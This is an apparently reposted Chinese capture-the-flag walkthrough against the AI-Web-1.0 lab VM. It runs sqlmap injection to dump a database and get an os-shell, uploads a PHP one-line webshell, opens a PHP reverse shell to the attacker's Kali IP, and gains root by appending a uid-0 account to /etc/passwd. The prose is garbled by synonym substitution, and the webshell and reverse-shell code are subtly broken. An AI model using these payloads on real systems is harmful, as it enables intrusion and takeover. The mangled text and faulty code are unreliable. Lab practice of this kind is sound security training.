AI-Web-1.0 打靶记载
1.环境收集攻击机kali ip:192.168.48.131
靶机AI-WEB-1.0 ip:192.168.48.138
2.信息收集
2.1 C段扫描
使用 arp-scan -l进行扫描发现靶机ip为192.168.48.138
https://i-blog.csdnimg.cn/direct/9ed51b5c48cb4f5db310943314282b3d.png
2.2 端口扫描
(1)使⽤nmap -sV -v -T4 对靶机扫描,发现只开启了80端口
https://i-blog.csdnimg.cn/direct/cd6c49b321404716b5d2e680eb5c2ad8.png
(2)访问80端口网页,无可用信息2.3目次扫描https://i-blog.csdnimg.cn/direct/17a36cbe99d64ceb955e6a0a0a21c9de.png
2.3目次扫描
(1)使⽤dirb 对⽹⻚进⼀步扫描,发现有robots.txt文件
https://i-blog.csdnimg.cn/direct/b25671bf1e2742319b10677920c643ec.png
(2)访问robots.txt文件,有两个目次
https://i-blog.csdnimg.cn/direct/ad6ad5da52204fa6ac4a8b7c8e0ab33b.png
(3)依次访问这两个目次,都打不开
https://i-blog.csdnimg.cn/direct/18924516582b4d90a2518208117d65c9.png
https://i-blog.csdnimg.cn/direct/8a3164183ca24250a9ac940f9f9f2e28.png
(4)使⽤dirb 对/m3diNf0进行扫描,发现有info.php文件,并进行访问,就可以发现文件路劲
https://i-blog.csdnimg.cn/direct/1341d843791248c3bd21a5423e8e93e6.png
https://i-blog.csdnimg.cn/direct/4f5b662a183c4280a64d4a434922ce60.png
https://i-blog.csdnimg.cn/direct/704dd3a6c83747728e061c4f48a46828.png
(5)使⽤dirb 对/se3reTdir777进行扫描,发现有index.php文件,进行访问,发现是一个提接壤面
https://i-blog.csdnimg.cn/direct/4ea48972633d4267a0e7177f1aee09b5.png
https://i-blog.csdnimg.cn/direct/587cb0f4de3c429984b004057ef9c80a.png
3. 毛病使用
3.1 SQL 注入
(1)输入 1 发现可以乐成访问 https://i-blog.csdnimg.cn/direct/f7297bf952704462ac79a05fe91883bd.png (2)输入1’ ,发现存在SQL注入毛病
https://i-blog.csdnimg.cn/direct/295c027544284432b024dee0855f639d.png
(3)使用burpsuite进行抓包,发现注入点是uid=1%27&Operation=Submit
https://i-blog.csdnimg.cn/direct/8825cdd5599a4ae7a85b71ea576856e7.png
(4)使⽤sqlmap 进行测试
注⼊⻚⾯为http://192.168.48.138/se3reTdir777/index.php
注⼊点为uid=1&Operation=Submit
--dbs 列出数据库
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -dbs --batch
发现了两个数据库:aiweb1、information_schema
https://i-blog.csdnimg.cn/direct/8fa8c1359a464e8dbe01c765aac4defe.png
(5)查找aiweb1下的表
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 --tables --batch
找到两个表:user、systrmUser
https://i-blog.csdnimg.cn/direct/3dac0522447e4d11b90d49d5dd73ca78.png
(6)查找user表下的字段
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns --batch
得到字段:firstName、id、lastName
https://i-blog.csdnimg.cn/direct/f2b8e1d34fa14cadbbfce744cb252cba.png
(7)看user表下有什么有效信息
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns -C id,firstName,lastName --dump --batch
https://i-blog.csdnimg.cn/direct/11f66bb94f7c456e8956bd9ba7448672.png3.2文件上传
(1)使用os-shell
--os-shell执⾏条件:
⽹站必须是root权限
必须知道⽹站的绝对路径
secure_file_priv⽆限定
python3 sqlmap.py -u "http://192.168.48.138/se3reTdir777/index.php" -data "uid=1&Operation=Submit" --os-shell
这里选4 PHP
https://i-blog.csdnimg.cn/direct/2a1eb6569edf4dd791c03146347bf2f0.png
这里选2,绝对输入路径
https://i-blog.csdnimg.cn/direct/711fd65a460a45e98c08e45821f51852.png
由上面的info.php可以知道它的路径: /home/www/html/web1x443290o2sdf92213/
通过拼接可以知道它的上传路径:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
https://i-blog.csdnimg.cn/direct/1c7045cd6a5e43d6910fa750bc4621e3.png
这里就可以看到进入到了os-shell
https://i-blog.csdnimg.cn/direct/f81d66f78a2148d6b92033a00203cdf6.png
(2)在kali 创建一个1.php文件 输入一句话木马
<?php @eval($_REQUEST);?>
https://i-blog.csdnimg.cn/direct/f2c30e0519fe4656a29dd3636113dd3c.png
(3)上传一句话木马到/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
se3reTdir777/uploads/下
⽤ sqlmap ⼯具写⼊⼀句话⽊⻢
–file-write:去读取⽊⻢⽂件
–file-dest:后⾯加要存放⽂件的地址
sqlmap -u "http://192.168.48.138/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php
https://i-blog.csdnimg.cn/direct/afbed79a602749e7a7b533235f56a054.png
(3)在os-shell使用ls检察
https://i-blog.csdnimg.cn/direct/8e38bdb1a0cf485ea40cff9dfd8205e8.png
4.权限升级
4.1 使用蚁剑毗连
http://192.168.48.138/se3reTdir777/uploads/1.php
密码:cmd
https://i-blog.csdnimg.cn/direct/0615f9987d5341719f9a530c73a0ac44.pnghttps://i-blog.csdnimg.cn/direct/a779e2a0c8d4409d93534bca1fbf80c9.png
4.2 nc反弹
(1)在kali开启监听
https://i-blog.csdnimg.cn/direct/276805b207af46d884c55fb80499646b.png
(2)在kali写一个2.php文件 ip为kaliip
<?php
$sock=fsockopen("192.168.48.131",4444);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
https://i-blog.csdnimg.cn/direct/c57ec228e70844dfa91a790e06f991a2.png
https://i-blog.csdnimg.cn/direct/615c247393cd46b9a3fe4fb019cd0f8f.png
(2)上传2.php
sqlmap -u "http://192.168.48.138/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 2.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/2.php
https://i-blog.csdnimg.cn/direct/dfb802011df3466384e5871f75a09fbc.png
(4)检察是否上传乐成
https://i-blog.csdnimg.cn/direct/1c835a54844047ed82eb48a6a0972509.png
(5)在蚁剑打开终端,实行2.php
https://i-blog.csdnimg.cn/direct/f10eb59309274401b0251afb1d81b668.png
(6)kali乐成监听
https://i-blog.csdnimg.cn/direct/8ab7416b7647488fb3df79ea210576da.png
4.3 提权
(1)检察当前用户
https://i-blog.csdnimg.cn/direct/4d81fcadc71b48ee9f23fe79969efb65.png
在 Linux 系统中我们要向⼿动⽣成⼀个密码可以采⽤opensll passwd来⽣成⼀个密码作为⽤户账号的密码。Linux系统中的密码存放在 /etc/shadow ⽂件中,而且是以加密的⽅式存放的,根据加密⽅式的不同,所产⽣的加密后的密码的位数也不同。
openssl passwd的作⽤是⽤来计算密码hash的,⽬的是为了防⽌密码以明⽂的情势出现。
(2)使⽤ openssl 创建⼀个⽤户
openssl passwd 参数 ⽤户名 密码
-1:体现采⽤的是MD5加密算法。
-salt:指定salt值,不使⽤随机产⽣的salt。在使⽤加密算法进⾏加密时,纵然密码⼀样,salt不⼀样,所计算出来的hash值也不⼀样,除⾮密码⼀样,salt值也⼀样,计算出来的hash值才⼀ 样。salt为8字节的字符串。
openssl passwd -1 -salt awei 123456
https://i-blog.csdnimg.cn/direct/a40d15c9a2f94bca8b22b274b6e4af76.png
(3)将⽤户aweiya写⼊/etc/passwd⽂件中
echo ‘awei:$1$awei$L306CKBynJHk5VdzMqldT/:0:0:root:/root:/bin/bash’>>/etc/passwd
https://i-blog.csdnimg.cn/direct/51da2731449a4d3ba3f5f439de8334ba.png
(4)检察是否写入乐成
cat /etc/passwd
https://i-blog.csdnimg.cn/direct/2341942f0ffd4a5f8ecaf4b7a60dd6db.png
(5)切换用户
⽤脚本提拔为交互式shell,然后切换⽤户
python -c 'import pty;pty.spawn("/bin/bash")'
su awei
https://i-blog.csdnimg.cn/direct/acbde9e593654d3483cae25e24859a83.png
https://i-blog.csdnimg.cn/direct/d2a2523884a6410e9c74a20104893a71.png
(6)切换目次,查找flag
https://i-blog.csdnimg.cn/direct/5f65755801ba4273b5afe0802d4ba55d.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]